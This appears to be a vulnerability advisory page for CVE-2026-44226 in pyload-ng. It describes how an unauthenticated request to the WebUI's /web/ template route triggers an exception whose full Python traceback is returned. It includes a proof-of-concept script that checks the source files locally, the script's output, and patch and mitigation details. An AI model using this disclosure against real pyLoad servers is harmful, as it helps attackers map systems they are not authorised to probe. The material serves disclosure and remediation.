CVE-2026-44226 — pyload-ng
MEDIUMCVE-2026-44226 is a medium-severity (CVSS 5.3) CWE-209 vulnerability in pyload-ng. A fix is available for pyload-ng — see the affected versions and patch details below.
PyLoad vulnerable to unauthenticated traceback disclosure via global exception handler in WebUI
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44226.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
pyload-ngReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
pyload-ng WebUI returns full Python traceback details to clients on unhandled exceptions.
Because /web/<path:filename> is reachable without authentication and renders attacker-controlled template names, an unauthenticated user can reliably trigger a server exception (for example by requesting a non-existent template) and receive internal stack traces in the HTTP response.
Details
The issue is caused by the combination of:
- Unauthenticated template-render route:
src/pyload/webui/app/blueprints/app_blueprint.py:32-36@bp.route("/web/<path:filename>", endpoint="web")data = render_template(filename)with user-controlledfilename- no
@login_required(...)on this route
- Global exception handler exposes traceback to response:
src/pyload/webui/app/handlers.py:14-27tb = traceback.format_exc()messages.extend(tb.split('\n'))- returned in rendered error page for all exceptions
- Error page renders all
messages:
src/pyload/webui/app/themes/modern/templates/base.html:217-219- loops over
messagesand prints them in response HTML
- loops over
So any unhandled exception can disclose internal implementation details (stack frames, source paths, exception metadata) to remote unauthenticated clients.
This is a core behavior issue in default WebUI error handling
PoC
#!/usr/bin/env python3
from __future__ import annotations
import re
import shutil
import tempfile
import traceback
from pathlib import Path
ROOT = Path(__file__).resolve().parent / "pyload" / "src" / "pyload"
def read_text(rel: str) -> str:
return (ROOT / rel).read_text(encoding="utf-8")
def route_has_no_login_required(app_blueprint: str) -> bool:
m = re.search(
r'@bp\\.route\\("/web/<path:filename>", endpoint="web"\\)\\s*'
r"def render\\(filename\\):(?P<body>.*?)(?:\\n\\n@bp\\.route|\\Z)",
app_blueprint,
re.DOTALL,
)
if not m:
return False
block_start = max(0, m.start() - 200)
block = app_blueprint[block_start:m.end()]
return "@login_required(" not in block
def main() -> None:
workdir = Path(tempfile.mkdtemp(prefix="pyload-traceback-infoleak-"))
try:
app_blueprint = read_text("webui/app/blueprints/app_blueprint.py")
handlers = read_text("webui/app/handlers.py")
base_template = read_text("webui/app/themes/modern/templates/base.html")
unauth_web_route = '/web/<path:filename>' in app_blueprint and route_has_no_login_required(app_blueprint)
user_controlled_template_name = "render_template(filename)" in app_blueprint
handler_uses_traceback = "traceback.format_exc()" in handlers
handler_appends_trace = "messages.extend(tb.split('\\n'))" in handlers
global_exception_handler = "(Exception, handle_exception_error)" in handlers
template_renders_messages = "{% for message in messages %}" in base_template and "{{message}}" in base_template
leaked_traceback_keyword = False
leaked_exception_type = False
try:
raise RuntimeError("forced-poc-error")
except Exception:
tb = traceback.format_exc()
messages = [f"Error 500: forced-poc-error"]
messages.extend(tb.split("\\n"))
joined = "\\n".join(messages)
leaked_traceback_keyword = "Traceback (most recent call last)" in joined
leaked_exception_type = "RuntimeError: forced-poc-error" in joined
repro_success = all(
[
unauth_web_route,
user_controlled_template_name,
handler_uses_traceback,
handler_appends_trace,
global_exception_handler,
template_renders_messages,
leaked_traceback_keyword,
leaked_exception_type,
]
)
print("unauth_web_route=", unauth_web_route)
print("user_controlled_template_name=", user_controlled_template_name)
print("handler_uses_traceback=", handler_uses_traceback)
print("handler_appends_trace=", handler_appends_trace)
print("global_exception_handler=", global_exception_handler)
print("template_renders_messages=", template_renders_messages)
print("leaked_traceback_keyword=", leaked_traceback_keyword)
print("leaked_exception_type=", leaked_exception_type)
print("traceback_infoleak_repro_success=", repro_success)
finally:
shutil.rmtree(workdir, ignore_errors=True)
print("cleanup_done=True")
if __name__ == "__main__":
main()
Observed result:
unauth_web_route= True
user_controlled_template_name= True
handler_uses_traceback= True
handler_appends_trace= True
global_exception_handler= True
template_renders_messages= True
leaked_traceback_keyword= True
leaked_exception_type= True
traceback_infoleak_repro_success= True
cleanup_done=True
Impact
- Vulnerability type: Information disclosure (stack trace / internal path leakage).
- Attack surface: unauthenticated WebUI request path.
- Exposes internal error details that help attackers map application internals and improve exploit reliability for follow-on attacks.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pyload-ng | all versions | 0.5.0b3.dev100pip install --upgrade 'pyload-ng==0.5.0b3.dev100' |
Affected Products
pyloadpyloadDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pyload-ng, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pyload-ng to 0.5.0b3.dev100 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44226 is resolved across your whole dependency graph.
Workarounds
Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.
Frequently Asked Questions
Is CVE-2026-44226 in your dependencies?
Find it across PyPI, including transitive dependencies.